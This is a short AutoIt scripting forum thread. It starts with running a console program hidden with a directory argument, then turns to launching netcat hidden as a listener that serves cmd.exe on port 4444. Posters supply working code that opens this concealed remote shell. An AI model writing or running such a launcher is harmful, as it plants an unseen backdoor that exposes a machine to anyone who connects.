Sign in to follow this  
Followers 0
MCT

Run Program Hidden & Passing Directory Parameters?

9 posts in this topic

im fairly new to autoit, my knowledge conists of "run" basically

how would i run a program silently (i can do this) & have my autoit script be able 2 accept parameters ?

the program im trying 2 run silently is "Console" which is a skin for cmd.exe it launches cmd.exe but i can get it 2 run, but it uses a switch 2 pass the directory parameter on

C:\Program Files\Console\console.exe -c "/k cd /d ""%1"""

is my command i need 2 have in autoit

Run("C:\Program Files\Console\console.exe -c "/k cd /d", "", @SW_HIDE) but how can i make it so it will open 2 the directory where i right click 2 (thats what the %1 is for)

thanks guys/girls :)

Share this post


Link to post
Share on other sites



try this:

Run('C:\Program Files\Console\console.exe -c "/k cd /d ""' & $CmdLine[1] & '"""', "", @SW_HIDE)

Greetings,

ZeD

Share this post


Link to post
Share on other sites

perfect :) thanks very much :)

Share this post


Link to post
Share on other sites

#4 ·  Posted (edited)

Ive tryed editing the above code in order to do something very simular but I cant get it to work !

I want to run a program called netcat with the folowing parameters !

Nc -l -p 4444 -t -e cmd.exe

The directory for netcat is C:/Software/Netcat.exe

Ive tryed tons of varations and cannot get one to work as of yet !

Little help ?

Edited by nova

Share this post


Link to post
Share on other sites

#5 ·  Posted (edited)

Ive tryed tons of varations and cannot get one to work as of yet !

Little help ?

<{POST_SNAPBACK}>

run('C:/Software/Netcat.exe Nc -l -p 4444 -t -e cmd.exe','C:/Software' )

EDIT: updated script

Edited by JdeB

Visit the SciTE4AutoIt3 Download page for the latest versions        Beta files                                                          Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites

#6 ·  Posted (edited)

JdeB when I ran ur code I got an error saying that the system cannot find the path specified!

Heres what im curently using to run netcat with the parameters I need but its very messy !

Opt("WinTitleMatchMode",4)
Run('C:/Software/Netcat.exe', "",@SW_HIDE)
WinWait("classname=ConsoleWindowClass")
$hWnd = WinGetHandle("classname=ConsoleWindowClass")
ControlSend($hWnd,"","","nc -l -p 4444 -t -e cmd.exe{ENTER}")

Any ideas how I can use the run command plus parameters instead of the above ?

Edited by nova

Share this post


Link to post
Share on other sites

#7 ·  Posted (edited)

@JdeB

The 2nd parameter is meant for the working directory, remember?

This should work 100%.

If it doesn't work, I bet you know how to fix it.

Run('C:\Software\Netcat.exe -l -p 4444 -t -e ' & @ComSpec, "", @SW_HIDE)
Edited by SlimShady

Share this post


Link to post
Share on other sites

Got it workin now cheers SlimShady and JdeB

Share this post


Link to post
Share on other sites

@JdeB

The 2nd parameter is meant for the working directory, remember?

This should work 100%.

If it doesn't work, I bet you know how to fix it.

Run('C:\Software\Netcat.exe -l -p 4444 -t -e ' & @ComSpec, "", @SW_HIDE)

<{POST_SNAPBACK}>

yeap... done this too often and wasn't focused enough... :)

guess i belong to the category "Humans" not "Uber Scripters" :)


Visit the SciTE4AutoIt3 Download page for the latest versions        Beta files                                                          Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0